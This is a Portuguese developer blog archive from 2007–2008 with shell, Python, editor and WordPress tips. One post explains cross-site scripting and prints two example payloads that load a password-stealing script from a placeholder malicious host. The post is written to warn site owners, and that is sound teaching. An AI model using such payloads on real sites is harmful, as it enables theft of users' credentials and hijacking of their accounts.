Workshop Produtividade Web 2.0 - Equipes de desenvolvimento de sites produtivas com ferramentas ágeis e padrões web Programadores desanimados? Desmotivados? Sem vontade de cantar uma bela canção?

Arquivos da tag 'Programação'

Palestra: construa seu validador de formulários

26/05/2008

Algumas pessoas têm me escrito perguntando como extender o validador de formulários universal que publiquei há algum tempo. O manual do programador é um excelente recurso para isso.

Mas você que é de São Paulo, tem a oportunidade de ver tudo funcionando ao vivo. Nessa quinta-feira, na palestra "Formulários Definitivos", vou construir um validador igualzinho a esse do zero, explicando cada conceito e o porquê de cada decisão no projeto.

Isso, entre outras coisas. Você também pode conferir o programa da palestra, e até quem sabe ganhar um ingresso grátis.

Dicas de shell: Greg's Wiki Bash Pitfalls

26/03/2008

No Greg's Wiki você encontra os Bash Pitfalls, uma lista de problemas comuns entre os programadores bash iniciantes.

Encontrei vários dos meus erros comuns lá. E aprendi um bocado.

Dicas de shell: testes unitários e commit

12/02/2008

Todas as tarefas relacionadas a contrução, teste e publicação de um desenvolvimento de software[bb] devem ser automatizadas o máximo possível. Escrever software é interar. Você escreve e testa, escreve e testa, escreve e testa dezenas, às vezes centenas de vezes por dia. As tarefas relacionadas a testar o software, de maneira especial, merecem a automatização que for possível dar a elas. Convenhamos, testar é algo muito chato. E se for complicado testar, será uma tentação irresistível para o programador entregar seu código sem testar adequadamente.

Hoje vamos construir um script de commit no subversion[bb] que, antes de enviar o código, executa todos os testes unitários. Vou trabalhar com Python[bb], mas você não deve ter dificuldades em adaptar isso para a sua linguagem de programação predileta.

A primeira coisa importante é que você entenda que todo script executado no shell tem um valor de retorno. Esse valor é retornado pelo comando, e também armazenado na variável especial $?. Veja estes exemplos:

$ echo $?
2
$ ls test
test
$ echo $?
0
$ if ls test2;then echo O arquivo existe.;fi
ls: test2: Arquivo ou diretório não encontrado
$ if ls test;then echo O arquivo existe.;fi
test
O arquivo existe.
$ if ! ls test;then echo O arquivo não existe.;fi
test
$ if ! ls test2;then echo O arquivo não existe.;fi
ls: test2: Arquivo ou diretório não encontrado
O arquivo não existe.

Os testes foram construídos usando o módulo para testes unitários unittest do Python. Cada teste está, no diretório do projeto, junto do arquivo de código que ele testa. E o nome dos arquivos de teste sempre começam com "test". Assim, o arquivo connections.py é testado pelo testconnections.py.

Veja então nosso shell script, salvo com o nome de commit, que será usado durante todo o projeto para rodar os testes antes do commit:

#!/bin/bash
 
# Começamos com um contador de erros em zero
erros=0
 
# Encontramos cada um dos testes
for i in `find -name "test*.py"`;do
echo TESTANDO: $i
echo
 
# Se o teste falhar, incrementamos a variável erros
if ! python $i;then
erros=$(($erros + 1))
fi
 
echo
done
 
# Se os testes passaram, fazemos commit, caso contrário
# avisamos o usuário
if [ $erros == 0 ];then
# Esse $* passa os parâmetros de linha de comando recebidos para o svn.
svn ci $*
else
echo Testes falharam, commit cancelado.
fi

Tendo feito isso, e colocando esse script em /usr/local/bin, o programador vai trocar svn ci por commit, e os testes serão feitos automaticamente antes do commit. Ele também pode passar parâmetros do svn para o script:

commit -m "Criei o link espacial com saturno"

Editores de código para Linux

21/01/2008

Nosso amigo pergunta por e-mail:

Boa Noite Elcio, Me desculpa me fazer essa pergunta que varias pessoas ja dever ter feito é que pesquisei e não encontrei, a pergunta é qual editores você indica para linux?
uso o editplus no windows.

Como a resposta deve servir para mais gente, publico aqui.

Eu uso o Vim. Mas, como eu costumo dizer para o pessoal aqui, Vim não é para qualquer um. Se você quer aprender, um bom lugar para começar é a página do Aurélio sobre Vim (VI). Mas eu já vou avisando, embora seja muito produtivo e eu esteja completamente viciado nele, Vim não é fácil. É um editor modal, em interface texto, e leva algum tempo para aprender a usá-lo.

Para quem me pergunta sobre editores no Linux, costumo recomendar o Kate.

Kate

Entre os recursos legais do Kate estão o auto-completar, que funciona de um jeito bem diferente da maioria dos editores lendo o texto que você já digitou, a integração com o terminal, a possibilidade de navegar e editar arquivos diretamente via FTP ou SSH, os trechos de código, a seleção de bloco, um excelente replace com expressões regulares.

Se você usa Ubuntu, instale também os pacotes kate-plugins e konq-plugins. Se quiser o Kate em português instale também o kde-i18n-ptbr. Para configurá-lo, vá em Configurações, Configurar Kate. Eu costumo usar assim:

  • Sessões, Comportamento ao Iniciar o Aplicativo: Iniciar uma nova sessão
  • Seletor de Arquivos: Eu adiciono o botão recarregar à lista da direita
  • Plug-ins: Eu ligo os plugins "Complementação XML", "Extensão da Barra de Abas", "Ferramentas HTML", "Filtro", "Inserir Comando", "Navegação Python" e "Trechos de Código".
  • Aparência: ligo "Mostrar o Número de Linhas"
  • Editando: ligo o "Inserir espaços ao invés de tabs" e coloco "Largura da tab" como 2. Também marco o "Remover espaços finais".
  • Identação: coloco "Modo de Identação" em "Estilo Python" e marco "Usar espaços para identar, ao invés de tabs"
  • Abrir/Salvar: ligo "Remover espaços finais"
  • Plug-ins: ligo "Busca Incremental" e "Complementação de Palavras". No segundo, clico em "Configurar…" e coloco a quantidade de caracteres em 2.

No "Navegador para Sistema de Arquivos" você vai ver uma estrelinha, que te dá acesso aos favoritos do Kate. Para adicionar um servidor FTP, adicione um favorito assim:

ftp://usuario:senha@servidor.com.br/pasta/

Para um servidor SSH, a sintaxe é a mesma, trocando "ftp://" por "sftp://".

Entre os recursos mais legais do Kate está a integração com comandos shell. Digamos que você queira ordenar determinada lista em seu código. Você seleciona a lista, digita CTRL+\, escreve o comando "find" e dá OK. Bom, você já entendeu, no lugar de find poderia ir qualquer comando do Linux, mesmo uma combinação deles.

Outros Editores

Outros editores que eu costumo recomendar são:

  • Gedit: o editor padrão do Gnome, parece um bloco de notas não é? Então instale o pacote gedit-plugins, depois abra o gedit e vá em Editar, Preferências, Plug-ins. Divirta-se.
  • Komodo: se você não consegue viver sem auto-completar, checagem de sintaxe, tutoriais e assistentes, preview de HTML, macros e muitos botôes e barras de ferramentas, o Komodo é o seu editor. As marcos são escritas em Javascript e você pode criar extensões XPI com XUL, igualzinho ao Firefox. Além disso, o Komodo é multiplataforma. Você pode ter seu editor, com suas macros e extensões, funcionando igualzinho em Windows, Linux e Mac.

Naturalmente, além desses existem dezenas de boas opções de editor de código para Linux. Se você tem alguma dica muito boa, não deixe de comentar.

Dicas de shell: find

08/01/2008

Um dos comandos mais úteis no gerenciamento de arquivos no terminal do Linux[bb] é o comando find. Ele permite realizar e automatizar tarefas que na interface gráfica levariam muito tempo. Executar o comando find sem argumentos faz com que ele liste todos os arquivos do diretório atual e de seus subdiretórios.

Para procurar dentro de um diretório específico, informe o caminho ao find:

find caminho/onde/procurar

O find recebe uma série de parâmetros úteis. É bom lembrar que o diretório de procura precisa ser sempre o primeiro parâmetro. Assim, para procurar por todos os arquivos de extensão bak no diretório atual, faça:

find -name "*.bak"

E para procurar dentro de um diretório específico, use:

find caminho/onde/procurar -name "*.bak"

O find permite a você construir uma série de expressões de procura e operação com os arquivos, algumas bastante complicadas (e poderosas). Vamos dar uma olhada em algumas bem simples. Para apagar os arquivos, use -delete. Então, para apagar todos os arquivos bak no diretório atual e em seus subdiretórios, faça:

find -name "*.bak" -delete

Você também pode passar parâmetros numéricos, que funcionam segundo a seguinte lógica:

  • Um número sozinho significa exatamente aquele número, por exemplo: 3
  • Com um sinal de mais, significa maior do que aquele número: +3
  • Com um sinal de menos, significa menor do que aquele número: -3

Para ver uma lista dos arquivos modificados há menos de três dias, faça:

find -mtime -3

Para ver os que foram modificados a mais de três dias, inverta o sinal:

find -mtime +3

As expressões mais comuns para uso com tempo são:

  • -amin - quando o arquivo foi acessado, em minutos.
  • -atime - quando o arquivo foi acessado, em dias.
  • -cmin - quando o arquivo foi criado, em minutos.
  • -ctime - quando o arquivo foi criado, em dias.
  • -mmin - quando o arquivo foi modificado, em minutos.
  • -mtime - quando o arquivo foi modificado, em dias.

Outras expressões bastante úteis são:

  • -regex: funciona como -name, mas recebe uma expressão regular[bb].
  • -size: filtra pelo tamanho do arquivo. É um número seguido de uma letra. As mais comuns são: c - bytes, k - kilobytes, M - megabytes e G - gigabytes.

Por fim, você também pode mandar o find executar operações nos arquivos. Foi o que fizemos no início, quando usamos -delete para apagar arquivos. Dentre as operações, minha predileta é a -exec.

Quando você coloca -exec numa linha de comando do find, tudo o que vem depois até o próximo ";" é entendido pelo find como um comando, que ele vai executar para cada um dos arquivos encontrados. É obrigatório colocar ";" para terminar o comando, se você se esquecer vai receber o seguinte erro:

$ find -exec ls
find: faltando argumento para `-exec'

Onde você quiser passar para seu comando o nome do arquivo, use {}. Por exemplo, para tirar a permissões de execução de todos os arquivos TXT na busca, você pode fazer:

find -name "*.txt" -exec chmod -x {} ";"

Isso vai executar, para cada um dos arquivos encontrados:

chmod -x ARQUIVO ;

O último truque que eu gostaria que você guardasse na manga é que você pode combinar o find com o excelente comando grep. Grep faz buscas dentro de um arquivo. Com o parâmetro -l o grep apenas lista o nome do arquivo se a expressão regular de busca for encontrada. Então, para encontrar todos os arquivos python[bb] que contém o texto "urllib" você pode fazer:

find -name *.py -exec grep -l urllib {} ";"

O find, é claro, tem muito mais recursos e opções. Se quiser mesmo se aprofundar, man find.

ClientSide: mostre seu código

04/12/2007

Está lançado: clientside.com.br.

É um site para falar sobre Javascript, Ajax, CSS, XHTML[bb]. Mas não é um site para opinião e recomendações, é um lugar para você ler sobre código, ler código, e colaborar. O site é aberto ao cadastro e colaboração dos usuários, embora todos os artigos devam ser aprovados pelos editores. Entenda a política do site.

Se você já possui um blog ou site sobre o assunto, pode publicar seus artigos em seu próprio site e apenas um link com um breve comentário no ClientSide. Só não faça isso com cada um dos seus posts, apenas com os melhores. Não é um agregador. Se fosse, eu teria feito para funcionar sozinho. É um site onde você vai ler conteúdo especial, focado no assunto, que foi selecionado por seres humanos de um jeito que as máquinas (ainda) não sabem fazer.

Retornando o último número (script Python)

21/11/2007

Meu amigo DGmike publicou: Retornando o último número (script PHP)

Como eu acho interessante comparar soluções em linguagens diferentes, resolvi escrever o mesmo script em Python[bb]. Veja como ficou:

import re
def ultimoNumero(string):
return re.findall(r"\d+",string)[-1]

Gostou?

Oficina de Wordpress Visie

13/11/2007

Momento Jabá:

Oficina de Wordpress Visie: Wordpress é a mais poderosa ferramenta de blogging da atualidade. É a ferramenta usada em todos os blogs aqui da Visie, e em boa parte dos blogs[bb] mais populares do Brasil e do mundo. Extremamente simples de usar, facilmente configurável e poderosamente extensível, Wordpress ainda por cima é open source e completamente gratuito.

Wordpress é a ferramenta por trás desse blog. A idéia da oficina nasceu numa conversa com o Juliano Spyer, no Blogcamp. Teremos um dia para quem quer aprender o básico de Wordpress para, por exemplo, criar seu próprio blog, um dia para designers, falando de temas para Wordpress e um dia para programadores em que vamos construir plugins e ferramentas que se integrem ao Wordpress.

Instalando o PSE no Ubuntu 7.10 Gutsy Gibbon

28/10/2007

O novo Ubuntu[bb] 7.10 está maravilhoso. Até o 7.04 eu usava um hack para fazer funcionar minha placa de rede, agora ela funciona sem truques. O compiz já instalado funcionou sozinho, bem direitinho. O resto tudo também funcionou sem dor. Menos o PSE.

Por algum motivo estranho, a versão do mod_python (3.3.1) desse novo Ubuntu reclama de sei lá o que. A versão anterior (3.1.3) funcionava sem problemas. Dei um jeito aqui de colocar para funcionar. Não sei se é uma boa saída, se alguém tiver uma sugestão melhor, por favor.

Segue a receita de bolo para instalar o PSE no novo Ubuntu:

  1. Instale os pacotes necessários: sudo apt-get install apache2 libapache2-mod-python python-profiler build-essential latex2html
  2. Baixe o PSE: wget http://nick.borko.org/pse/PSE-3.0.6.tar.gz
  3. Extraia o código fonte: tar -xzvf PSE-3.0.6.tar.gz
  4. Entre na pasta: cd PSE-3.0.6
  5. Compile e instale: sudo python setup.py install
  6. Edite o arquivo de configuração do Apache: sudo gedit /etc/apache2/apache2.conf
    Acrescente ao final:
    PythonHandler pse_handler
    AddHandler python-program .pt
  7. Aqui vai o hack: sudo gedit /usr/lib/python2.5/site-packages/mod_python/importer.py
    Encontre a linha 303, que deve ser:
    return __import__(module_name, {}, {}, '*')
    E edite para ficar:
    return __import__(module_name, {}, {}) #, '*')
    Cuidado para não quebrar a identação!
  8. Reinicie o Apache: sudo invoke-rc.d apache2 restart

Pronto, deve funcionar. Aqui para mim foi só isso.

Tradutor Português-Portunhol

19/10/2007

Falta uma semana para lo dia internacional de hablarse portuñol. Fica aqui minha contribuição ao ócio e falta do que fazer, fruto de uma tarde de feriado entediante: tradutor automático de sites português-portunhol. Você pode, por exemplo, ver este site traduzido para o portuñol[bb].

Tomara que você ache tão divertido de usar quanto eu achei construí-lo.

Acentuação em Português e Expressões Regulares Python

17/10/2007

Ao utilizar expressões regulares em Python[bb], por padrão, seu texto é interpretado como uma seqüência de caracteres ASCII comum. Assim, caracteres acentuados são considerados sinais gráficos especiais, e não são capturados como letras. Veja este exemplo:


>>> import re
>>> print re.sub(r"\b","|","era uma criança")
|era| |uma| |crian|ç|a|

Como você pode ver, o ce-cedilha não é considerado uma letra, "quebrando" a palavra. Resolver isso é muito fácil, basta compilar a expressão regular passando a flag L, para que ela siga o locale de sua máquina, ou a flag U, para que ela trabalhe com unicode. No meu caso, em que o locale da máquina é unicode, tanto faz. Veja como funciona:


>>> import re
>>> c=re.compile(r"\b",re.U)
>>> print c.sub("|",u"era uma criança")
|era| |uma| |criança|

Só não se esqueça de trabalhar com strings unicode.

Um pouquinho mais da sintaxe do Python

09/10/2007

Um amigo meu está fazendo faculdade, e começando a aprender a programar (com Java[bb].) Ele me mostrou semana passada um exercício que o professor passou:

  • Solicitar que o usuário informe um número inteiro que será usado como limite superior do contador.
  • O programa deverá exibir todos os números pares existentes entre 1 e o limite superior (informado via teclado pelo usuário).
  • Após a exibição dos números o programa deverá perguntar se o usuário deseja executar mais uma vez.

Por curiosidade, eu escrevi uma solução em Python[bb]:

continuar=True
while continuar:
numero=int(raw_input("Informe o valor inicial da repeticao: "))
print str(range(2,numero+1,2))[1:-1]
continuar=raw_input("Continuar? (S/N) ").upper()!="N"

Update: inspirado nos comentários do Rafael Santini, uma solução com break fica mais elegante:

while 1:
numero=int(raw_input("Informe o valor inicial da repeticao: "))
print str(range(2,numero+1,2))[1:-1]
if raw_input("Continuar? (S/N) ").upper()=="N":break

IBM Lotus Symphony Bloated Office

28/09/2007

A IBM lançou seu pacote de escritórios gratuito, o Lotus Symphony. Instalei aqui para testar. Para começar, ele não é "baseado no OpenOffice.org" como muitos sites por aí andam dizendo. Ele lê arquivos do formato ODF, o formato criado pela OpenOffice.org, e talvez tenha algum código ali realmente aproveitado do OpenOffice.org, mas ele é baseado mesmo é no Eclipse. Sim, é isso que você entendeu, o Symphony é construído sobre o Eclipe, em Java[bb], lento, lento, lento… Leva uma eternidade para carregar e demora um bocado a responder a alguns comandos. Fica praticamente impossível de se usar.

A primeira coisa curiosa é que o instalador para Linux[bb] coloca o programinha que desinstala o Symphony num lugar escondido e não avisa o usuário. Então fica a dica para você que usa Linux e, como eu, instalou o Symphony e se arrependeu o instalador está em:

/opt/ibm/lotus/Symphony/_uninst/uninstaller.bin

Outra coisa interessante é que a interface do programa ficou muito boa. O investimento em usabilidade que a IBM tem feito há anos, o que eles chamam de User Centered Design, tem dado resultado. O problema é que o software é tão lento que é insuportável usá-lo mesmo tendo uma excelente interface.

Se você já é usuário de OpenOffice.org, não vejo nenhum bom motivo para tentar o Symphony. Se não é usuário de OpenOffice.org, por favor, não instale o Symphony. Tente o OpenOffice.org.

Para mim o Symphony serviu mesmo para mostrar o poder de um padrão aberto. Tenho em minha máquina agora três pacotes de escritório: KOffice, OpenOffice.org[bb] e IBM Lotus Symphony, e os três trabalham com exatamente o mesmo formato de arquivo. Sem segredos, sem royalties, sem truques. Inclusive a compatibilidade entre eles é muito boa. E qualquer um pode fazer um programa que trabalha com o mesmo formato.

Veja, por exemplo, como é simples fazer um shell script que exporta um documento ODT para texto:

#!/bin/bash
mkdir .tmp_odt2txt
cp $1 .tmp_odt2txt
cd .tmp_odt2txt
unzip $1
cd ..
sed -e "s/<text:p[^>]*>/\n/g" .tmp_odt2txt/content.xml|sed -e "s/<[^>]*>//g" > $1.txt
rm -rf .tmp_odt2txt

Como estamos falando de um padrão aberto, usamos ferramentas simples disponíveis em qualquer Unix e lemos o arquivo. Tente fazer isso com um documento do Microsoft Word e você vai entender o que eu quero dizer.

Use macros em seu editor de código

24/09/2007

Quanta gente, ao pensar na idéia de migrar de WYSIWYG para edição de código, se pergunta: "mas não vai ser improdutivo se eu tiver que escrever tudo à mão?"

Nosso amigo Michael dá uma boa ajuda para quem está com essa dúvida em seu vídeo "Macros para Produtividade".
Claro, isso é só o começo. Mas é um excelente começo. E quanta gente eu vejo por aí que não sabe o básico!

Dirty PHP Include, plugin para Wordpress que faz include de arquivos PHP em seus posts

02/08/2007

Para atender a um cliente, escrevi agora um pequeno plugin para Wordpress[bb]. Você pode fazer download do plugin aqui:
http://elcio.com.br/download/dirtyinclude.zip (497 bytes)

Depois, basta descompactá-lo na pasta wp-content/plugins em seu diretório do Wordpress. Tendo feito isso, acesse o administrador do Wordpress, clique em "Plugins" ("Extensões" na versão em português) e ative o plugin. Pronto, está funcionando.

Para incluir um arquivo em um post basta, ao editar o post, escrever: [[[include:/caminho/ate/seu/arquivo.php]]] e o arquivo será incluído. O caminho é relativo ao diretório base do Wordpress. Funciona tanto com o editor visual quanto com o editor de código. Atenção! Se você tem usuários não confiáveis, por exemplo, se permite que seus usuários se cadastrem e postem, não deve usar esse plugin. É perigoso…

Naturalmente, o plugin acaba de ser escrito e não foi exaustivamente testado. Se você tiver sugestões de melhorias ou achar bugs, por favor, avise.

Meus comentários:

  1. Wordpress é fantástico! Essa API para a criação de plugins é fabulosa. É muito fácil escrever um plugin que faz bem seu trabalho sem atrapalhar todo o resto.
  2. Continuo não gostando de PHP, mas dá para trabalhar com isso. Se metade do código mundo a fora tivesse a qualidade do Wordpress, já ajudaria muito.
  3. Vou dizer de novo: se você não sabe expressões regulares[bb], precisa aprender!

EyeOS

02/08/2007

Ei, está legal isso aqui: http://www.eyeos.info/

Não é útil, mas dá uma boa idéia a respeito do que é possível fazer.

Falha no Password Manager do Firefox?

25/07/2007

Veja como essa notícia no Terra explica mal as coisas e espalha o terror:

A versão mais recente do navegador Firefox, a 2.0.0.5, possui uma falha em seu gerenciador de senhas que pode permitir o acesso a elas por sites maliciosos. O problema só se manifesta se o Javascript[bb] e o gerenciador de senhas estiverem acionados - o que é o padrão. Conforme o site Linux.com, a falha pode ser explorada com truques bastante antigos como o cross-site scripting, pequeno programa em um site que manipula objetos na máquina do usuário ou em outro site.

Quem tomar tempo para ler o anúncio da falha vai entender melhor. A falha não é no Password Manager. É uma falha de script-injection e XSS (cross-site scripting). Vou explicar em detalhes: se você tem um site em que os usuários inserem conteúdo, deve tomar cuidado para que eles não insiram javascript no conteúdo. Por exemplo, se os usuários cadastram uma descrição pessoal em seus perfis, e você simplesmente imprime esta descrição, corre sérios riscos. Alguém pode escrever, em sua descrição, algo como:

<script src="http://meusitemalicioso.com/scriptsqueroubamsenhas.js"></script>

Naturalmente, isso é muito perigoso! Não basta bloquear a tag script, você precisa se certificar de que o usuário não insira javascript na página de forma alguma. Por exemplo:

<img src="imagemqualquer.gif"
onload="document.getElementsByTagName('script')[0].src='http://meusitemalicioso.com/scriptsqueroubamsenhas.js'" />

Ou seja, é sua obrigação se certificar de que seus usuários não podem inserir javascript em nenhuma página de seu site. Isso porque o modelo de segurança do javascript está baseado na origem do script. Scripts numa página podem acessar qualquer coisa dentro daquele domínio. Então, se você permite que seus usuários usem a técnica acima, eles podem fazer com que os usuários que acessarem o perfil/post/comentário malicioso:

  1. Tenham suas contas canceladas. Basta que o script crie um iframe oculto, carregue a URL de cancelamento de conta nele, aguarde alguns segundos e clique no botão "Sim, eu tenho certeza"
  2. Tenham suas senhas modificadas. De novo, no frame oculto. Carregando o formulário de mudança de senha, preenchendo e submetendo. Se não houver validação de referer, isso pode ser feito inclusive sem o iframe, usando o objeto XMLHTTPRequest (via Ajax[bb]).
  3. Enviem mensagens para todos os usuários do site, transfira todas as suas comunidades para um determinado perfil, veja o site em cor de rosa com uma foto do Reginaldo Rossi no logo e o que mais o agressor quiser.

Tudo o que eu descrevi acima funciona em qualquer navegador. Não se trata de uma falha no navegador, mas de uma falha no site. Bom, o que o pessoal da heise descobriu é que um agressor pode criar um formulário de login falso, e se você salvou a senha daquele site o Firefox, o Safari e o Konqueror vão preencher o formulário automaticamente. E esse formulário pode ser lido pelo script do agressor. Ora, o sujeito pode virar o site de ponta cabeça, claro que também pode acessar o formulário de login! E isso só não funciona no IE porque ele não tem um password manager ;-)

Ou seja, a falha não é do Firefox, mas do site, que permite acesso irrestrito ao atacante. É um site em que você não deveria confiar, que você não deveria acessar, ou pelo menos não deveria acessar com a mesma senha do seu cartão do banco. O fato de um navegador não ter password manager não vai tornar o site mais seguro. A conclusão a que chega o pessoal da heise:

Da perspectiva dos usuários, significa que eles não deveriam confiar suas senhas ao password manager em sites que permitem aos usuários criar suas próprias páginas contendo scripts.

Grande coisa! Você não deveria confiar, de maneira nenhuma, em sites que permitem aos usuários criar suas próprias páginas contendo scripts. Não é só seu password manager que está em risco, e não importa que navegador você está usando.

CSS de impressão no fechaTag

06/07/2007

Acabo de criar um CSS de impressão para este blog. Levei uns dez minutos.

O código ficou assim:

form,#sidebar,iframe,#otop,#respond,.navigation,.rec6,.linkk{
display:none;
}
h2{
margin:0;
}
.entry{
line-height: 150%;
}
#header h1{
margin:0;
padding:0;
font-size:24px;
}
#header .description{
padding:0;
}
h2{
padding:40px 0 0;
margin:0;
}

E o resultado:

Em suma: você esconde tudo o que não pode ser usado ou não faz sentido no papel (menus, formulários, etc.) e tenta não atrapalhar o usuário. Aliás, não dá para fazer muito mais do que isso. Os mecanismos de impressão dos navegadores foram feitos para simplificar as páginas e economizar tinta.

Fácil, não?

Vídeo e slides da minha palestra no ELPI

20/06/2007

Coloquei os slides no slideshare, aqui.

E o Andrey Pedro Lefkum filmou a palestra inteira e publicou.

A resenha oficial:

A palestra apresentou ao público os Microformats[bb], uma maneira de incluir novas características e possibilidades no HTML atual, oferecendo significado extra ao conteúdo e facilitando a criação de mash-ups. Comparou também a adoção inicial de Microformats com o padrão de adoção de novas tecnologias abertas, em especial o RSS. Por fim, demonstrou com exemplos práticos a simplicidade para se implementar Microformats e sua grande utilidade e flexibilidade.

Bom proveito!

Microsoft, Google e o poder da massa crítica

04/06/2007

Está todo mundo por aí falando sobre:

  • Microsoft Surface, um computador-mesa realmente impressionante. Entre no site e veja alguns dos videozinhos que você vai entender.
  • Google Gears, uma extensão para Firefox/Internet Explorer que permite ao desenvolvedor web guardar dados locais, na máquina do usuário.
  • O Orkut agora permite que você cadastre feeds em seu perfil.

Quando olhei cada um desses lançamentos, tive a mesma reação: "Ah, grande coisa!"

Nenhuma dessas idéias é nova ou revolucionária. Começando pelo Surface, é uma coleção de idéias velhas. Já vimos parte delas implementada no iPhone e na maneira como o sujeito pode usar os dedos nele. A idéia de colocar um computador numa mesa ou permitir seu uso por mais de uma pessoa também não é nova. E a maquininha da Microsoft está saindo por 10 mil. Dólares.

O Google Gears merece um pouquinho de explicação antes de dizer que a idéia não é nova. O Gears tem três componentes importantes. O primeiro é um tipo de servidor proxy com cache local. É um pouquinho mais do que isso, mas no fim permite a uma aplicação web responder dados ao usuário uma única vez, e ele terá esses dados em sua própria máquina a partir daí. O segundo é um banco de dados local, que permite a uma aplicação web, por exemplo, funcionar offline. O terceiro é um mecanismo para fazer com que seus scripts possam ser executados em segundo plano, sem congelar o navegador. De verdade? Isso não é nem tão novo, nem tão revolucionário assim. Para o sujeito que está desenvolvendo um Gmail, pode fazer diferença. Mas para pequenas aplicações, ou mesmo as medianas, dessas que a gente desenvolve todo dia, tudo poderia ser resolvido com cookies e um pouquinho de inteligência, sem demandar a instalação de um plugin.

Por fim, os feeds no Orkut. Aqui a experiência de quem esperava algo realmente novo pode ser decepcionante. Leia os comentários do Charles Pilger sobre o assunto, por exemplo.

Apesar disso, há algo que pode realmente fazer diferença nesse tipo de produto: massa crítica, quantidade de usuários, visibilidade. O Surface pode mostrar ao mundo a idéia nova. Talvez eu nunca venha a ter um Microsoft Surface, mas quem sabe eu daqui a algum tempo comecem a vender o XingLing Surface, o Itautec Surface ou o Positivo Surface? Tenho perguntado ao auditório, nos Encontros Locaweb, quem usa leitores de feeds e quem fornece RSS de qualquer maneira. Num público de desenvolvedores, o número de pessoas que levantam suas mãos é assombrosamente baixo. Imagino que entre os seres humanos comuns este números deve ser ainda menor. Feeds no Orkut podem ser um excelente recurso educativo. Isso pode fazer muita gente descobrir o RSS.

Em relação ao Gears, assim como em relação ao Silverlight, que não está na lista acima porque já tem um tempo, acontece algo curioso. Quem teria coragem de apostar hoje numa tecnologia que exige a instalação de um plugin para que seu site seja usado? Se fosse qualquer empresa pequena que estivesse lançando um desses produtos, ele logo seria descartado como algo ridículo. Mas todo mundo tem suas em relação ao poder de empresas como a Microsoft ou o Google de fazer com que as pessoas instalem algo em suas máquinas.

Em suma, quando você tem metade da Internet usando seus produtos, as regras podem ser diferentes para você. E quando você lança um Google Notebook ou um Zune, as pessoas parecem se esquecer muito rápido que você fracassou.

Em relação ao fato de não haver nenhuma novidade nesses produtos, vale lembrar o que diz o Getting Real: uma boa idéia não vale quase nada, o que vale mesmo é uma boa execução. Embora o Surface não seja novo, parece pelos vídeos que foi executado de maneira exímia.

E, claro, a história dos computadores mostra que nem sempre os melhores vencem. Nada de certezas, por enquanto.

Links interessantes: